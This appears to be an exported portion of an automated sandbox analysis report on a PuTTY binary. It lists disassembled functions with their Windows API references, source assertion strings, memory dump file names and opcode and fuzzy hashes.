FindWindowA.USER32 ref: 00007FF67865E32A

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Find$CloseFileFirstWindow
String ID:
API String ID: 2475344593-0
Opcode ID: f0e79997787017242be0678a1299ff4153720c64c21be0883609586eed0df27f
Instruction ID: 578e13ba5002d1a38bc8ae2c17b32a513708b8953d054b7298ded6133616c19c
Opcode Fuzzy Hash: f0e79997787017242be0678a1299ff4153720c64c21be0883609586eed0df27f
Instruction Fuzzy Hash: 9601D422F2D281A1FD206B35A9063BB1B505F997B0FA00231DD2D877D5ED1CDCC6AB08

Function 00007FF6785D1B9F Relevance: 3.0, APIs: 2, Instructions: 31COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32 ref: 00007FF6785D1BB9

Part of subcall function 00007FF6785DB6C0: SetCaretPos.USER32 ref: 00007FF6785DB6F8

DefWindowProcW.USER32 ref: 00007FF6785D3732

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: CaretInfoLocaleProcWindow
String ID:
API String ID: 3511955094-0
Opcode ID: 0d6e8085940ef99706bb6f3e1a4ef4ac9e24338f3159f2bfa11a7cc6f6f21ebf
Instruction ID: 0525e7e4616bafe2ec99604b5dfbae02f43c9a381306b0932714a989640e943f
Opcode Fuzzy Hash: 0d6e8085940ef99706bb6f3e1a4ef4ac9e24338f3159f2bfa11a7cc6f6f21ebf
Instruction Fuzzy Hash: A5F0E927B1818645F9019B32B8053F719406B45BE5F640076CE0DC77D6CC3CDA86BB14

Function 00007FF678650F20 Relevance: 2.7, Strings: 2, Instructions: 188COMMON

Download Yara Rule

Strings

len <= pool->nw, xrefs: 00007FF678650F72, 00007FF678650FF7
/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/crypto/mpint.c, xrefs: 00007FF678650F79, 00007FF678650FFE

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: _set_error_mode
String ID: /home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/crypto/mpint.c$len <= pool->nw
API String ID: 1949149715-1244525610
Opcode ID: f0f2536dc577322ef78fa98e8fdf80bd561ec85345326284fd71e3de6c089bb4
Instruction ID: 7050aea035321cf48d970d2aa3b9d2547454cf182698d8102cdd279aa675372d
Opcode Fuzzy Hash: f0f2536dc577322ef78fa98e8fdf80bd561ec85345326284fd71e3de6c089bb4
Instruction Fuzzy Hash: A071BDB7B29BA991EA50CB21E94426F6764FB48BC4F654036DE8D83754EE3CD881D304

Function 00007FF67864E170 Relevance: 2.6, Strings: 2, Instructions: 140COMMON

Download Yara Rule

Strings

bits < 0x10000, xrefs: 00007FF67864E2DB
/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/crypto/mpint.c, xrefs: 00007FF67864E2E2

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID:
String ID: /home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/crypto/mpint.c$bits < 0x10000
API String ID: 0-3675183975
Opcode ID: 28a1504607651e3aa4f6fb2db7b465a402ed893108aaac175b55d2498a7ba946
Instruction ID: 451796537b343553154c5b2e83e697473755cafb84efdeb34bd2992c344880f2
Opcode Fuzzy Hash: 28a1504607651e3aa4f6fb2db7b465a402ed893108aaac175b55d2498a7ba946
Instruction Fuzzy Hash: 01415BA6F64A1556EE51C9768E542A92643EB847F0F688331CE3E833D8DE2CDA42D304

Function 00007FF6786AAEC8 Relevance: 2.0, APIs: 1, Instructions: 463COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor
String ID:
API String ID: 1010374628-0
Opcode ID: 70f05b61e9069f215347a8f1a556d803af62b8d15b7b0aff6d396f4fe1be9d85
Instruction ID: 04f4aae55ece3d439ce7638b1e92804af95a5b47e9bcd5527536ea413e942649
Opcode Fuzzy Hash: 70f05b61e9069f215347a8f1a556d803af62b8d15b7b0aff6d396f4fe1be9d85
Instruction Fuzzy Hash: D202B323A3D66261FE259B32984227B1F84AF01B90F744536DD6DC67D2DE3DEC01A70A

Function 00007FF6785DF280 Relevance: 1.9, APIs: 1, Instructions: 355timeCOMMON

Download Yara Rule

APIs

GetCaretBlinkTime.USER32 ref: 00007FF6785DF7E3

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: BlinkCaretTime
String ID:
API String ID: 1096504186-0
Opcode ID: d3b2025046e6c3242374deb158bf3089506e19e4ab169dd7edca1107dee63013
Instruction ID: fd99b46b03d4603cbb131a4c81bc38fa6bd4b1ee603bc2969d1bcb5fdd42d9d8
Opcode Fuzzy Hash: d3b2025046e6c3242374deb158bf3089506e19e4ab169dd7edca1107dee63013
Instruction Fuzzy Hash: CDF1C323E182C286F7659771A0813FB6E91DB85784F249036CF9E87787DE7CE8858319

Function 00007FF678696CA4 Relevance: 1.8, APIs: 1, Instructions: 336COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF678696CE8

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: f05dfe4f8452654d334cc3241bb3ea17cad71d45a3c268dd9d68e07dcf381698
Instruction ID: 41f0ebfd1af04d38cf8145e9905b2c6771dfb1d6118b630c0ba38a30ded459d2
Opcode Fuzzy Hash: f05dfe4f8452654d334cc3241bb3ea17cad71d45a3c268dd9d68e07dcf381698
Instruction Fuzzy Hash: 01D1C46392DB4692EF658F34D44027E3B95EB00BA4F64063ADA6D873D4CF38EC51A358

Function 00007FF6785DED80 Relevance: 1.7, APIs: 1, Instructions: 245COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04d804fca383ebdd87389251a5403f1d7e686250a67475f3d8e14b7a1134c6f1
Instruction ID: 1a09e0f2a8aa8a43e7cddf6769adaf05a326fa093a5ca3772d743fbe412d783a
Opcode Fuzzy Hash: 04d804fca383ebdd87389251a5403f1d7e686250a67475f3d8e14b7a1134c6f1
Instruction Fuzzy Hash: 94C1DF33A1A2E189F741CB65C44CBEB3B94EB51344FA7A035CA68C7382FFB958858754

Function 00007FF6786B60D4 Relevance: 1.7, APIs: 1, Instructions: 182COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF6786B6137

Part of subcall function 00007FF67869B3F8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67869B40C

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo
String ID:
API String ID: 474895018-0
Opcode ID: 3dc24be4488f4c8b10247529cee2e8d24edc721d6d4ed829458648f97c931c59
Instruction ID: 5dbee22ec8afd81900458bf0694da84082f331413b2ff113e08811b2b21a745a
Opcode Fuzzy Hash: 3dc24be4488f4c8b10247529cee2e8d24edc721d6d4ed829458648f97c931c59
Instruction Fuzzy Hash: 7961C523F2C55296FB648AB8844577E6E819F40768F350235FA2EC76C6DE7CEC41A708

Function 00007FF6786A9A14 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6786A3098: GetLastError.KERNEL32(?,?,?,00007FF678692CFB,?,?,?,00007FF67869C131), ref: 00007FF6786A30A7
Part of subcall function 00007FF6786A3098: FlsGetValue.KERNEL32(?,?,?,00007FF678692CFB,?,?,?,00007FF67869C131), ref: 00007FF6786A30BC
Part of subcall function 00007FF6786A3098: SetLastError.KERNEL32(?,?,?,00007FF678692CFB,?,?,?,00007FF67869C131), ref: 00007FF6786A3147

EnumSystemLocalesW.KERNEL32(?,?,?,00007FF6786A9817,00000000,00000092,?,?,00000000,?,?,00007FF6786988F9), ref: 00007FF6786A9AB2

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystemValue
String ID:
API String ID: 3029459697-0
Opcode ID: 88e0867d24c3eab24e0c880a4b38ef51eafc333871d5a020cd09adc8302cdfcc
Instruction ID: e3b2e211bf7a9b58fc9fb8a7d2568448ada2242f7e1f1b7f9eea53f242561005
Opcode Fuzzy Hash: 88e0867d24c3eab24e0c880a4b38ef51eafc333871d5a020cd09adc8302cdfcc
Instruction Fuzzy Hash: DF11E763A286559AEB148F36D4402AA7FA0FB90BA0F748136C769833C0EE38DDD1D741

Function 00007FF6786A9D30 Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6786A3098: GetLastError.KERNEL32(?,?,?,00007FF678692CFB,?,?,?,00007FF67869C131), ref: 00007FF6786A30A7
Part of subcall function 00007FF6786A3098: FlsGetValue.KERNEL32(?,?,?,00007FF678692CFB,?,?,?,00007FF67869C131), ref: 00007FF6786A30BC
Part of subcall function 00007FF6786A3098: SetLastError.KERNEL32(?,?,?,00007FF678692CFB,?,?,?,00007FF67869C131), ref: 00007FF6786A3147

EnumSystemLocalesW.KERNEL32(?,?,?,00007FF6786A97D3,00000000,00000092,?,?,00000000,?,?,00007FF6786988F9), ref: 00007FF6786A9DAE

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystemValue
String ID:
API String ID: 3029459697-0
Opcode ID: abb5f3cec4ff362770d1342f42244cd9a48485c11d3d4892fe7aa86ca48b9eee
Instruction ID: 092ac9f279b540d813e344426edbfab0975c097ba22c6a8b6186ba06800a1dfc
Opcode Fuzzy Hash: abb5f3cec4ff362770d1342f42244cd9a48485c11d3d4892fe7aa86ca48b9eee
Instruction Fuzzy Hash: 4E012D73F1855156EB106F35E8407BA7A91EB407A0F718231D279876CAEF3C9CC19705

Function 00007FF6786A2EDC Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(?,?,00000000,00007FF6786A22B7,?,?,?,?,?,?,?,?,00000000,00007FF6786A943C), ref: 00007FF6786A2F2B

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 8a0dd470fdcead8dddeb2970784ad091dbe112c6c0a7a92d94a8fdedb158568e
Instruction ID: 9a0b6748f9492b34000ac30d320c14526f7014990d8ea5bb9308a263e31bbbb1
Opcode Fuzzy Hash: 8a0dd470fdcead8dddeb2970784ad091dbe112c6c0a7a92d94a8fdedb158568e
Instruction Fuzzy Hash: 10F08C73B18A8593E704CB39F8401AA2762FBA8780F648035EA4DD3368DF3CD951D708

Function 00007FF678610DE0 Relevance: 1.5, APIs: 1, Instructions: 29networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6785FC7B0: WSAAsyncSelect.WS2_32 ref: 00007FF6785FC803

recv.WS2_32 ref: 00007FF678610E29

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: AsyncSelectrecv
String ID:
API String ID: 3881473523-0
Opcode ID: f3ce5cf4d50df0b3d745acc74cdbada7605895cccbc6249d645d1e403d16cc15
Instruction ID: 07ab7197cd11b972938cf7ab819fc6bb994d207c51bbfc4106663101cdede7ec
Opcode Fuzzy Hash: f3ce5cf4d50df0b3d745acc74cdbada7605895cccbc6249d645d1e403d16cc15
Instruction Fuzzy Hash: B3F0C216B2C18250FB30E33AF09536E6F909B59798F241038CB8C4B352CD5ED986970A

Function 00007FF6785FAA80 Relevance: 1.5, APIs: 1, Instructions: 26comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,?,?,?,?,?,00007FF67860E0A2), ref: 00007FF6785FAAB3

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 03de8d71a4be3953e10ae13e30a1e1ff27b4efe455a589614f809a35615d1a43
Instruction ID: e432d80b52486c0dc55d7ad52aaccb52f828619245af5e921affbef511d192f5
Opcode Fuzzy Hash: 03de8d71a4be3953e10ae13e30a1e1ff27b4efe455a589614f809a35615d1a43
Instruction Fuzzy Hash: A7F06D22B28E4591EB10DB36E48416E7BA0FBC8B88FA14132ED4D83724DF3CD505CB04

Function 00007FF6785ECDA0 Relevance: .7, Instructions: 737COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 993e43af5144b5df1f7e92e88d904c3feb4072d45124f6a2942c69ba0701a111
Instruction ID: b07f7c41985dc7f728120063f0a1c6c6cc54e0b0c7912557c9cdee34ba649511
Opcode Fuzzy Hash: 993e43af5144b5df1f7e92e88d904c3feb4072d45124f6a2942c69ba0701a111
Instruction Fuzzy Hash: DF627263A2855286FBA48B3DC98837D6B91EB50764F788232D65DCB2D4DE3CEC95C304

Function 00007FF678614B00 Relevance: .5, Instructions: 483COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46426d5d7efc5a345a0938ac86cbc428851b82a614d0deccf848203279138596
Instruction ID: 6ecdef1e901066320a15bc7870dfdae56bad5b0bd50a434f76b0bd7a14d8b8cb
Opcode Fuzzy Hash: 46426d5d7efc5a345a0938ac86cbc428851b82a614d0deccf848203279138596
Instruction Fuzzy Hash: 62325D33615B4097DB64CF2AE58032ABBB5F748B94F244129DB9D83B94DF39E8A0D704

Function 00007FF6785E0B00 Relevance: .4, Instructions: 393COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
